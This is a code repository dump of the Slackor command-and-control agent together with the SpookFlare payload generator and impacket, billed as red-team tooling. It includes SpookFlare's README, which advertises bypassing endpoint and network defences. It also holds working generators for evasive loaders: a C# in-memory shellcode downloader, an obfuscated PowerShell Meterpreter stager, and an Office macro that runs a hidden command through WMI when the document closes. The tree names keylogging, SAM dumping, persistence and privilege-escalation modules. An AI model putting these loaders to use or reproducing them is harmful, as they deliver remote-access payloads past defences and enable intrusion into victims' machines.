├── .gitignore ├── LICENSE ├── README.md ├── SpookFlare ├── .gitignore ├── LICENSE ├── README.md ├── lib │ ├── __init__.py │ ├── sfhta.py │ ├── sfmpbin.py │ ├── sfmpps.py │ └── sfvba.py ├── output │ └── test.spookflare.txt ├── requirements.txt └── spookflare.py ├── agent.go ├── agent.py ├── dist └── .gitkeep ├── go.mod ├── go.sum ├── icon.example.ico ├── impacket ├── .gitignore ├── .travis.yml ├── ChangeLog ├── LICENSE ├── MANIFEST.in ├── README.md ├── examples │ ├── GetADUsers.py │ ├── GetNPUsers.py │ ├── GetUserSPNs.py │ ├── atexec.py │ ├── dcomexec.py │ ├── dpapi.py │ ├── esentutl.py │ ├── getArch.py │ ├── getPac.py │ ├── getST.py │ ├── getTGT.py │ ├── goldenPac.py │ ├── ifmap.py │ ├── karmaSMB.py │ ├── lookupsid.py │ ├── mimikatz.py │ ├── mqtt_check.py │ ├── mssqlclient.py │ ├── mssqlinstance.py │ ├── netview.py │ ├── nmapAnswerMachine.py │ ├── ntfs-read.py │ ├── ntlmrelayx.py │ ├── opdump.py │ ├── ping.py │ ├── ping6.py │ ├── psexec.py │ ├── raiseChild.py │ ├── rdp_check.py │ ├── reg.py │ ├── registry-read.py │ ├── rpcdump.py │ ├── sambaPipe.py │ ├── samrdump.py │ ├── secretsdump.py │ ├── services.py │ ├── smbclient.py │ ├── smbexec.py │ ├── smbrelayx.py │ ├── smbserver.py │ ├── sniff.py │ ├── sniffer.py │ ├── split.py │ ├── ticketer.py │ ├── wmiexec.py │ ├── wmipersist.py │ └── wmiquery.py ├── impacket │ ├── Dot11Crypto.py │ ├── Dot11KeyManager.py │ ├── ICMP6.py │ ├── IP6.py │ ├── IP6_Address.py │ ├── IP6_Extension_Headers.py │ ├── ImpactDecoder.py │ ├── ImpactPacket.py │ ├── NDP.py │ ├── __init__.py │ ├── cdp.py │ ├── crypto.py │ ├── dcerpc │ │ ├── __init__.py │ │ └── v5 │ │ │ ├── __init__.py │ │ │ ├── atsvc.py │ │ │ ├── bkrp.py │ │ │ ├── dcom │ │ │ ├── __init__.py │ │ │ ├── comev.py │ │ │ ├── oaut.py │ │ │ ├── scmp.py │ │ │ ├── vds.py │ │ │ └── wmi.py │ │ │ ├── dcomrt.py │ │ │ ├── dhcpm.py │ │ │ ├── drsuapi.py │ │ │ ├── dtypes.py │ │ │ ├── enum.py │ │ │ ├── epm.py │ │ │ ├── even.py │ │ │ ├── even6.py │ │ │ ├── lsad.py │ │ │ ├── lsat.py │ │ │ ├── mgmt.py │ │ │ ├── mimilib.py │ │ │ ├── ndr.py │ │ │ ├── nrpc.py │ │ │ ├── rpcrt.py │ │ │ ├── rprn.py │ │ │ ├── rrp.py │ │ │ ├── samr.py │ │ │ ├── sasec.py │ │ │ ├── scmr.py │ │ │ ├── srvs.py │ │ │ ├── transport.py │ │ │ ├── tsch.py │ │ │ └── wkst.py │ ├── dhcp.py │ ├── dns.py │ ├── dot11.py │ ├── dpapi.py │ ├── eap.py │ ├── ese.py │ ├── examples │ │ ├── __init__.py │ │ ├── logger.py │ │ ├── ntlmrelayx │ │ │ ├── __init__.py │ │ │ ├── attacks │ │ │ │ ├── __init__.py │ │ │ │ ├── httpattack.py │ │ │ │ ├── imapattack.py │ │ │ │ ├── ldapattack.py │ │ │ │ ├── mssqlattack.py │ │ │ │ └── smbattack.py │ │ │ ├── clients │ │ │ │ ├── __init__.py │ │ │ │ ├── httprelayclient.py │ │ │ │ ├── imaprelayclient.py │ │ │ │ ├── ldaprelayclient.py │ │ │ │ ├── mssqlrelayclient.py │ │ │ │ ├── smbrelayclient.py │ │ │ │ └── smtprelayclient.py │ │ │ ├── servers │ │ │ │ ├── __init__.py │ │ │ │ ├── httprelayserver.py │ │ │ │ ├── smbrelayserver.py │ │ │ │ ├── socksplugins │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── http.py │ │ │ │ │ ├── https.py │ │ │ │ │ ├── imap.py │ │ │ │ │ ├── imaps.py │ │ │ │ │ ├── mssql.py │ │ │ │ │ ├── smb.py │ │ │ │ │ └── smtp.py │ │ │ │ └── socksserver.py │ │ │ └── utils │ │ │ │ ├── __init__.py │ │ │ │ ├── config.py │ │ │ │ ├── enum.py │ │ │ │ ├── ssl.py │ │ │ │ ├── targetsutils.py │ │ │ │ └── tcpshell.py │ │ ├── os_ident.py │ │ ├── remcomsvc.py │ │ ├── secretsdump.py │ │ ├── serviceinstall.py │ │ └── smbclient.py │ ├── helper.py │ ├── hresult_errors.py │ ├── krb5 │ │ ├── __init__.py │ │ ├── asn1.py │ │ ├── ccache.py │ │ ├── constants.py │ │ ├── crypto.py │ │ ├── gssapi.py │ │ ├── kerberosv5.py │ │ ├── pac.py │ │ └── types.py │ ├── ldap │ │ ├── __init__.py │ │ ├── ldap.py │ │ ├── ldapasn1.py │ │ └── ldaptypes.py │ ├── mqtt.py │ ├── nmb.py │ ├── nt_errors.py │ ├── ntlm.py │ ├── pcap_linktypes.py │ ├── pcapfile.py │ ├── smb.py │ ├── smb3.py │ ├── smb3structs.py │ ├── smbconnection.py │ ├── smbserver.py │ ├── spnego.py │ ├── structure.py │ ├── system_errors.py │ ├── tds.py │ ├── uuid.py │ ├── version.py │ ├── winregistry.py │ └── wps.py ├── requirements.txt ├── setup.py ├── tests │ ├── ImpactPacket │ │ ├── __init__.py │ │ ├── runalltestcases.bat │ │ ├── runalltestcases.sh │ │ ├── test_ICMP6.py │ │ ├── test_IP6.py │ │ ├── test_IP6_Address.py │ │ ├── test_IP6_Extension_Headers.py │ │ ├── test_TCP.py │ │ ├── test_TCP_bug_issue7.py │ │ └── test_ethernet.py │ ├── SMB_RPC │ │ ├── __init__.py │ │ ├── dcetests.cfg │ │ ├── rundce.sh │ │ ├── test_bkrp.py │ │ ├── test_dcomrt.py │ │ ├── test_dhcpm.py │ │ ├── test_drsuapi.py │ │ ├── test_epm.py │ │ ├── test_even.py │ │ ├── test_even6.py │ │ ├── test_fasp.py │ │ ├── test_ldap.py │ │ ├── test_lsad.py │ │ ├── test_lsat.py │ │ ├── test_mgmt.py │ │ ├── test_mimilib.py │ │ ├── test_ndr.py │ │ ├── test_nmb.py │ │ ├── test_nrpc.py │ │ ├── test_ntlm.py │ │ ├── test_rpcrt.py │ │ ├── test_rprn.py │ │ ├── test_rrp.py │ │ ├── test_samr.py │ │ ├── test_scmr.py │ │ ├── test_secretsdump.py │ │ ├── test_smb.py │ │ ├── test_spnego.py │ │ ├── test_srvs.py │ │ ├── test_tsch.py │ │ ├── test_wkst.py │ │ └── test_wmi.py │ ├── coveragerc │ ├── dot11 │ │ ├── runalltestcases.bat │ │ ├── runalltestcases.sh │ │ ├── test_Dot11Base.py │ │ ├── test_Dot11Decoder.py │ │ ├── test_Dot11HierarchicalUpdate.py │ │ ├── test_FrameControlACK.py │ │ ├── test_FrameControlCFEnd.py │ │ ├── test_FrameControlCFEndCFACK.py │ │ ├── test_FrameControlCTS.py │ │ ├── test_FrameControlPSPoll.py │ │ ├── test_FrameControlRTS.py │ │ ├── test_FrameData.py │ │ ├── test_FrameManagement.py │ │ ├── test_FrameManagementAssociationRequest.py │ │ ├── test_FrameManagementAssociationResponse.py │ │ ├── test_FrameManagementAuthentication.py │ │ ├── test_FrameManagementDeauthentication.py │ │ ├── test_FrameManagementDisassociation.py │ │ ├── test_FrameManagementProbeRequest.py │ │ ├── test_FrameManagementProbeResponse.py │ │ ├── test_FrameManagementReassociationRequest.py │ │ ├── test_FrameManagementReassociationResponse.py │ │ ├── test_RadioTap.py │ │ ├── test_RadioTapDecoder.py │ │ ├── test_WEPDecoder.py │ │ ├── test_WEPEncoder.py │ │ ├── test_WPA.py │ │ ├── test_WPA2.py │ │ ├── test_helper.py │ │ └── test_wps.py │ ├── misc │ │ ├── runalltestcases.bat │ │ ├── runalltestcases.sh │ │ ├── test_crypto.py │ │ ├── test_dcerpc_v5_ndr.py │ │ ├── test_dns.py │ │ ├── test_dpapi.py │ │ ├── test_ip6_address.py │ │ ├── test_krb5_crypto.py │ │ └── test_structure.py │ ├── runall.sh │ └── walkmodules.py └── tox.ini ├── install.sh ├── internal ├── config │ └── vars.go ├── crypto │ ├── decrypt.go │ └── encrypt.go ├── doc.go └── slack │ ├── register.go │ ├── send.go │ └── upload.go ├── pkg ├── README.md ├── command │ └── command.go ├── common │ ├── beacon.go │ ├── cat.go │ ├── cat_test.go │ ├── cd.go │ ├── clipboard.go │ ├── doctor.go │ ├── download.go │ ├── find.go │ ├── find_test.go │ ├── getip.go │ ├── getuid.go │ ├── hostname.go │ ├── ifconfig.go │ ├── kill.go │ ├── ls.go │ ├── ls_test.go │ ├── mkdir.go │ ├── pwd.go │ ├── pwd_test.go │ ├── revive.go │ ├── rm.go │ ├── rmdir.go │ ├── screenshot.go │ ├── sleep.go │ ├── testdata │ │ ├── cat │ │ │ ├── a.txt │ │ │ └── subdir │ │ │ │ └── b.txt │ │ └── find │ │ │ ├── a.txt │ │ │ ├── b.pem │ │ │ ├── c.key │ │ │ └── subdir │ │ │ └── d.pem │ ├── upload.go │ └── whoami.go ├── darwin │ ├── .gitkeep │ ├── execute.go │ ├── sysinfo.go │ └── version.go ├── doc.go ├── linux │ ├── .gitkeep │ ├── execute.go │ ├── sysinfo.go │ └── version.go └── windows │ ├── check_admin.go │ ├── cleanup.go │ ├── const.go │ ├── defanger.go │ ├── duplicate.go │ ├── elevate.go │ ├── execute.go │ ├── get_system.go │ ├── keyscan.go │ ├── metasploit.go │ ├── minidump.go │ ├── persist.go │ ├── samdump.go │ ├── shellcode.go │ ├── sysinfo.go │ └── version.go ├── requirements.txt ├── server.py ├── setup.py ├── versioninfo.example.json └── versioninfo.example.manifest /.gitignore: -------------------------------------------------------------------------------- 1 | dist/agent.32.linux 2 | dist/agent.64.linux 3 | dist/agent.darwin 4 | dist/agent.upx.exe 5 | dist/agent.windows.exe 6 | slackor.db 7 | resource.syso 8 | versioninfo.json 9 | versioninfo.manifest 10 | icon.ico 11 | -------------------------------------------------------------------------------- /SpookFlare/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.pyc 3 | -------------------------------------------------------------------------------- /SpookFlare/README.md: -------------------------------------------------------------------------------- 1 | # SpookFlare 2 | 3 | 4 |

SpookFlare

5 | 6 | SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader/dropper generator for Meterpreter, Empire, Koadic etc. SpookFlare has obfuscation, encoding, run-time code compilation and character substitution features. So you can bypass the countermeasures of the target systems like a boss until they "learn" the technique and behavior of SpookFlare payloads. 7 | 8 | * Obfuscation 9 | * Encoding 10 | * Run-time Code Compiling 11 | * Character Substitution 12 | * Patched Meterpreter Stage Support 13 | * Blocked powershell.exe Bypass 14 | 15 | ``` 16 | ___ ___ ___ ___ _ _____ _ _ ___ ___ 17 | / __| _ \/ _ \ / _ \| |/ / __| | /_\ | _ \ __| 18 | \__ \ _/ (_) | (_) | ' <| _|| |__ / _ \| / _| 19 | |___/_| \___/ \___/|_|\_\_| |____/_/ \_\_|_\___| 20 | 21 | Version : 2.0 22 | Author : Halil Dalabasmaz 23 | WWW : artofpwn.com, spookflare.com 24 | Twitter : @hlldz 25 | Github : @hlldz 26 | Licence : Apache License 2.0 27 | Note : Stay in shadows! 28 | 29 | [*] You can use "help" command for access help section. 30 | 31 | SpookFlare > list 32 | 33 | ID | Payload | Description 34 | ----+------------------------+------------------------------------------------------------ 35 | 1 | meterpreter/binary | .EXE Meterpreter Reverse HTTP and HTTPS loader 36 | 2 | meterpreter/powershell | PowerShell based Meterpreter Reverse HTTP and HTTPS loader 37 | 3 | javascript/hta | .HTA loader with .HTML extension for specific command 38 | 4 | vba/macro | Office Macro loader for specific command 39 | 40 | ``` 41 | 42 | ## Installation 43 | ``` 44 | # git clone https://github.com/hlldz/SpookFlare.git 45 | # cd SpookFlare 46 | # pip install -r requirements.txt 47 | ``` 48 | 49 | ## Technical Details 50 | https://artofpwn.com/spookflare.html 51 | 52 | ## Usage Videos and Tutorials 53 | * SpookFlare HTA Loader for Koadic: https://youtu.be/6OyZuyIbRLU 54 | * SpookFlare PowerShell/VBA Loaders for Meterpreter: https://youtu.be/xFBRZz78U_M 55 | * v1.0 Usage Video: https://www.youtube.com/watch?v=p_eKKVoEl0o 56 | 57 | ### Note 58 | I developed the SpookFlare and technique for use in penetration tests, red team engagements and it is purely educational. Please use with responsibility and stay in shadows! 59 | 60 | ### Acknowledgements and References 61 | Special thanks to the following projects and contributors. 62 | * https://github.com/rapid7/metasploit-framework 63 | * https://github.com/zerosum0x0/koadic 64 | * https://github.com/EmpireProject/Empire 65 | * https://github.com/Veil-Framework/Veil 66 | * https://github.com/nccgroup/demiguise 67 | -------------------------------------------------------------------------------- /SpookFlare/lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /SpookFlare/lib/sfmpbin.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import string 4 | import base64 5 | from base64 import b64encode 6 | 7 | def randomString(): 8 | return ''.join([random.choice(string.ascii_letters) for n in range(12)]) 9 | 10 | def checksum8(s): 11 | return sum([ord(ch) for ch in s]) % 0x100 12 | 13 | def genHTTPChecksum(): 14 | chk = string.ascii_letters + string.digits 15 | for x in range(64): 16 | uri = "".join(random.sample(chk,3)) 17 | r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) 18 | for char in r: 19 | if checksum8(uri + char) == 92: 20 | return uri + char 21 | 22 | def generateMPBinLoader(mpBinProto, mpBinLhost, mpBinLport, mpBinArch, mpBinSsize): 23 | 24 | if mpBinProto == "https": 25 | mpBinSSLChk = "ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, sslPolicyErrors) => true;" 26 | else: 27 | mpBinSSLChk = "" 28 | 29 | if mpBinArch == "x86": 30 | mpBinArch = "UInt32" 31 | elif mpBinArch == "x64": 32 | mpBinArch = "UInt64" 33 | 34 | mpBinNSpace = randomString() 35 | mpBinLClass = randomString() 36 | loaderHost = mpBinProto+"://"+mpBinLhost+":"+mpBinLport+"/"+genHTTPChecksum() 37 | loaderBase = '''using System;using System.Net;using System.Runtime.InteropServices; namespace {24} {{ public class {25} {{ [DllImport ("kernel32")] private static extern {23} VirtualAlloc ({23} {0}, {23} {1}, {23} {2}, {23} {3}); [DllImport ("kernel32")] private static extern IntPtr CreateThread ({23} {4}, {23} {5}, {23} {6}, IntPtr {7}, {23} {8}, ref {23} {9}); [DllImport ("kernel32")] private static extern {23} WaitForSingleObject (IntPtr {10}, {23} {11}); [DllImport ("kernel32.dll")] static extern IntPtr GetConsoleWindow (); [DllImport ("user32.dll")] static extern bool ShowWindow (IntPtr {12}, int {13}); public static void Main () {{ShowWindow (GetConsoleWindow (), 0);{14}WebClient {15} = new System.Net.WebClient ();{15}.Headers.Add ("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");{15}.Headers.Add ("Accept", "*/*");{15}.Headers.Add ("Accept-Language", "en-gb,en;q=0.5");byte[] {16} = null;{16} = {15}.DownloadData ("{26}");byte[] {17} = new byte[{16}.Length - {18}];Array.Copy ({16}, {18}, {17}, 0, {17}.Length);{23} {19} = VirtualAlloc (0, ({23}) {17}.Length, 0x1000, 0x40);Marshal.Copy ({17}, 0, (IntPtr) ({19}), {17}.Length);IntPtr {20} = IntPtr.Zero;{23} {21} = 0;IntPtr {22} = IntPtr.Zero;{20} = CreateThread (0, 0, {19}, {22}, 0, ref {21});WaitForSingleObject ({20}, 0xFFFFFFFF);}}}}}}'''.format(randomString(), randomString(), randomString(), randomString(),randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), mpBinSSLChk, randomString(), randomString(), randomString(), mpBinSsize, randomString(), randomString(), randomString(), randomString(), mpBinArch, mpBinNSpace, mpBinLClass, loaderHost) 38 | loaderKey = (''.join(random.sample("hlldzé!^+%&/()=?_<>£#$[]|",len("hlldzé!^+%&/()=?_<>£#$[]|")))[0:3]) 39 | loaderCode = loaderKey.join([loaderBase[i:i+1] for i in range(0, len(loaderBase), 1)]).replace("\"", "\\\"") 40 | loaderFinal = '''using System;using System.CodeDom.Compiler;using System.Reflection;using Microsoft.CSharp;namespace {0} {{public class {1} {{public static void Main () {{string {2} = "{3}".Replace("{4}", "");CSharpCodeProvider {5} = new CSharpCodeProvider ();CompilerParameters {6} = new CompilerParameters (new [] {{"mscorlib.dll", "System.dll"}});{6}.GenerateInMemory = true;{6}.ReferencedAssemblies.Add (Assembly.GetEntryAssembly ().Location);CompilerResults {7} = {5}.CompileAssemblyFromSource ({6}, {2});Assembly {8} = {7}.CompiledAssembly;Type {9} = {8}.GetType ("{10}.{11}");MethodInfo {12} = {9}.GetMethod ("Main");{12}.Invoke (null, null);}}}}}}'''.format(randomString(), randomString(), randomString(), loaderCode, loaderKey, randomString(), randomString(), randomString(), randomString(), randomString(), mpBinNSpace, mpBinLClass, randomString()) 41 | return loaderFinal 42 | -------------------------------------------------------------------------------- /SpookFlare/lib/sfmpps.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import string 4 | import base64 5 | from base64 import b64encode 6 | 7 | def randomString(): 8 | return ''.join([random.choice(string.ascii_letters) for n in range(12)]) 9 | 10 | def checksum8(s): 11 | return sum([ord(ch) for ch in s]) % 0x100 12 | 13 | def genHTTPChecksum(): 14 | chk = string.ascii_letters + string.digits 15 | for x in range(64): 16 | uri = "".join(random.sample(chk,3)) 17 | r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) 18 | for char in r: 19 | if checksum8(uri + char) == 92: 20 | return uri + char 21 | 22 | def generateMPPSLoader(mpProto, mpLhost, mpLport, mpArch, mpSsize): 23 | if mpArch == "x86": 24 | mpArch = "ToInt32" 25 | mpDef = "UInt32" 26 | elif mpArch == "x64": 27 | mpArch = "ToInt64" 28 | mpDef = "UInt64" 29 | 30 | if mpProto == "https": 31 | mpPSSSLChk = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}" 32 | else: 33 | mpPSSSLChk = "" 34 | 35 | loaderHost = mpProto+"://"+mpLhost+":"+mpLport+"/"+genHTTPChecksum() 36 | baseMetPs = '''${0} = @" 37 | [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, {8} dwSize, {8} flAllocationType, {8} flProtect); 38 | [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, {8} dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, {8} dwCreationFlags, IntPtr lpThreadId); 39 | [DllImport("kernel32.dll")] public static extern {8} WaitForSingleObject(IntPtr hHandle, {8} dwMilliseconds); 40 | "@; 41 | {10} 42 | ${1} = New-Object "`N`et.`W`ebc`l`i`ent";${1}.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");${1}.Headers.Add("Accept", "*/*");${1}.Headers.Add("Accept-Language", "en-gb,en;q=0.5");[Byte[]] ${2} = ${1}."D`o`wn`l`oa`d`Data"("{9}");${3} = New-Object byte[] (${2}.Length - {4});[Array]::Copy(${2}, {4}, ${3}, 0, (${2}.Length - {4}));${5} = A`d`d-T`y`p`e -memberDefinition ${0} -Name "Win32" -namespace `W`in`3`2`F`un`ct`i`on`s -passthru;${6}=${5}::VirtualAlloc(0,${3}.Length,0x3000,0x40);[Runtime.InteropServices.Marshal]::Copy(${3}, 0, [IntPtr](${6}.{7}()), ${3}.Length);${5}::CreateThread(0,0,${6},0,0,0) | oUT-NuLl;`S`T`A`R`T-`S`l`e`E`p -s `8`6`4`2`0''' 43 | 44 | loaderFinal = baseMetPs.format(randomString(), randomString(), randomString(), randomString(), mpSsize, randomString(), randomString(), mpArch, mpDef, loaderHost, mpPSSSLChk) 45 | return loaderFinal 46 | 47 | def generateMPPSCsharpLoader(mpPsCode): 48 | mCsharpCode = '''using System; 49 | using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; 50 | public class {0} {{ 51 | public static void Main() {{ 52 | byte[] {1} = Convert.FromBase64String("{6}"); 53 | string {2} = Encoding.UTF8.GetString({1}); 54 | Runspace {3} = RunspaceFactory.CreateRunspace(); 55 | {3}.Open(); 56 | RunspaceInvoke {4} = new RunspaceInvoke({3}); 57 | Pipeline {5} = {3}.CreatePipeline(); 58 | {5}.Commands.AddScript({2}); 59 | {5}.Invoke(); 60 | {3}.Close(); 61 | return; 62 | }} 63 | }}''' 64 | 65 | loaderFinal = mCsharpCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), b64encode(mpPsCode.encode())) 66 | return loaderFinal 67 | -------------------------------------------------------------------------------- /SpookFlare/lib/sfvba.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import string 4 | import base64 5 | 6 | def randomString(): 7 | return ''.join([random.choice(string.ascii_letters) for n in range(12)]) 8 | 9 | def generateKey(): 10 | keys = "!#+%&/()=?_-*[]{}$><" 11 | return ''.join(random.sample(keys,len(keys))) 12 | 13 | def generateCmd(vbaKey, vbaCommand): 14 | return vbaKey.join([vbaCommand[i:i+1] for i in range(0, len(vbaCommand), 1)]) 15 | 16 | def generateVBALauncher(vbaFileType, vbaCommand, vbaMetaName): 17 | 18 | if vbaFileType == "word": 19 | vbaFileType = "ActiveDocument" 20 | elif vbaFileType == "excel": 21 | vbaFileType = "ActiveWorkbook" 22 | elif vbaFileType == "powerpoint": 23 | vbaFileType = "ActivePresentation" 24 | 25 | if vbaMetaName == "Comments": 26 | vbaMetaName = "C\"&\"o\"&\"m\"&\"m\"&\"e\"&\"n\"&\"t\"&\"s" 27 | elif vbaMetaName == "Company": 28 | vbaMetaName = "C\"&\"o\"&\"m\"&\"p\"&\"a\"&\"n\"&\"y" 29 | 30 | vbaCommandKey = generateKey() 31 | vbaBaseCmd = generateCmd(vbaCommandKey, vbaCommand) 32 | vbaBaseCode = '''Sub Auto_Close() 33 | {0} 34 | End Sub 35 | 36 | Sub AutoClose() 37 | {0} 38 | End Sub 39 | 40 | Public Function {0}() As Variant 41 | Dim {1} As DocumentProperty 42 | For Each {1} In {8}.BuiltInDocumentProperties 43 | If {1}.Name = "{10}" Then 44 | Dim {2} As String 45 | {2} = Replace({1}.Value, "{9}", "") 46 | Const HIDDEN_WINDOW = 0 47 | Set {3} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2") 48 | Set {4} = {3}.Get("W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s"&"S"&"t"&"a"&"r"&"t"&"u"&"p") 49 | Set {5} = {4}.SpawnInstance_ 50 | {5}.ShowWindow = HIDDEN_WINDOW 51 | Set {6} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2"&":"&"W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s") 52 | {6}.Create {2}, Null, {5}, {7} 53 | End If 54 | Next 55 | End Function''' 56 | 57 | loaderFinal = "'\n'Insert the following string to \""+vbaMetaName.replace("\"&\"", "")+"\" meta data section of file:\n'" + vbaBaseCmd + "\n'\n\n" 58 | loaderFinal += vbaBaseCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), vbaFileType, vbaCommandKey, vbaMetaName) 59 | return loaderFinal 60 | -------------------------------------------------------------------------------- /SpookFlare/output/test.spookflare.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /SpookFlare/requirements.txt: -------------------------------------------------------------------------------- 1 | terminaltables 2 | -------------------------------------------------------------------------------- /dist/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/dist/.gitkeep -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/n00py/Slackor 2 | 3 | go 1.12 4 | 5 | require ( 6 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802 // indirect 7 | github.com/akavel/rsrc v0.8.0 // indirect 8 | github.com/atotto/clipboard v0.1.2 9 | github.com/bmatcuk/doublestar v1.1.3 10 | github.com/dustin/go-humanize v1.0.0 11 | github.com/gen2brain/shm v0.0.0-20180314170312-6c18ff7f8b90 // indirect 12 | github.com/josephspurrier/goversioninfo v0.0.0-20190209210621-63e6d1acd3dd // indirect 13 | github.com/kbinani/screenshot v0.0.0-20190719135742-f06580e30cdc 14 | github.com/lxn/win v0.0.0-20190716185335-d1d36f0e4f48 // indirect 15 | github.com/mattn/go-shellwords v1.0.5 16 | github.com/miekg/dns v1.1.15 17 | github.com/stretchr/testify v1.3.0 18 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 // indirect 19 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7 // indirect 20 | golang.org/x/sys v0.0.0-20190712062909-fae7ac547cb7 21 | ) 22 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802 h1:1BDTz0u9nC3//pOCMdNH+CiXJVYJh5UQNCOBG7jbELc= 2 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= 3 | github.com/akavel/rsrc v0.8.0 h1:zjWn7ukO9Kc5Q62DOJCcxGpXC18RawVtYAGdz2aLlfw= 4 | github.com/akavel/rsrc v0.8.0/go.mod h1:uLoCtb9J+EyAqh+26kdrTgmzRBFPGOolLWKpdxkKq+c= 5 | github.com/atotto/clipboard v0.1.2 h1:YZCtFu5Ie8qX2VmVTBnrqLSiU9XOWwqNRmdT3gIQzbY= 6 | github.com/atotto/clipboard v0.1.2/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= 7 | github.com/bmatcuk/doublestar v1.1.3 h1:S4Ka/fLvUtm+5TqKuByWyuGenBjTP8w+Z/GpQIWB9Yg= 8 | github.com/bmatcuk/doublestar v1.1.3/go.mod h1:wiQtGV+rzVYxB7WIlirSN++5HPtPlXEo9MEoZQC/PmE= 9 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= 10 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 11 | github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo= 12 | github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= 13 | github.com/gen2brain/shm v0.0.0-20180314170312-6c18ff7f8b90 h1:QagTG5rauLt6pVVEhnVSrlIX4ifhVIZOwmw6x6D8TUw= 14 | github.com/gen2brain/shm v0.0.0-20180314170312-6c18ff7f8b90/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo= 15 | github.com/josephspurrier/goversioninfo v0.0.0-20190209210621-63e6d1acd3dd h1:KikNiFwUO3QLyeKyN4k9yBH9Pcu/gU/yficWi61cJIw= 16 | github.com/josephspurrier/goversioninfo v0.0.0-20190209210621-63e6d1acd3dd/go.mod h1:eJTEwMjXb7kZ633hO3Ln9mBUCOjX2+FlTljvpl9SYdE= 17 | github.com/kbinani/screenshot v0.0.0-20190719135742-f06580e30cdc h1:kGFotla6Dyr6a2ILeExAHlttPgJtnoP/GIw2uVN/4h4= 18 | github.com/kbinani/screenshot v0.0.0-20190719135742-f06580e30cdc/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw= 19 | github.com/lxn/win v0.0.0-20190716185335-d1d36f0e4f48 h1:J2doxiYgOxforcFE2tj6KyLIDF+fBUODRUVNf0EVdnI= 20 | github.com/lxn/win v0.0.0-20190716185335-d1d36f0e4f48/go.mod h1:oO6+4g3P1GcPAG7LPffwn8Ye0cxW0goh0sUZ6+lRFPs= 21 | github.com/mattn/go-shellwords v1.0.5 h1:JhhFTIOslh5ZsPrpa3Wdg8bF0WI3b44EMblmU9wIsXc= 22 | github.com/mattn/go-shellwords v1.0.5/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o= 23 | github.com/miekg/dns v1.1.15 h1:CSSIDtllwGLMoA6zjdKnaE6Tx6eVUxQ29LUgGetiDCI= 24 | github.com/miekg/dns v1.1.15/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= 25 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 26 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 27 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 28 | github.com/stretchr/testify v1.3.0 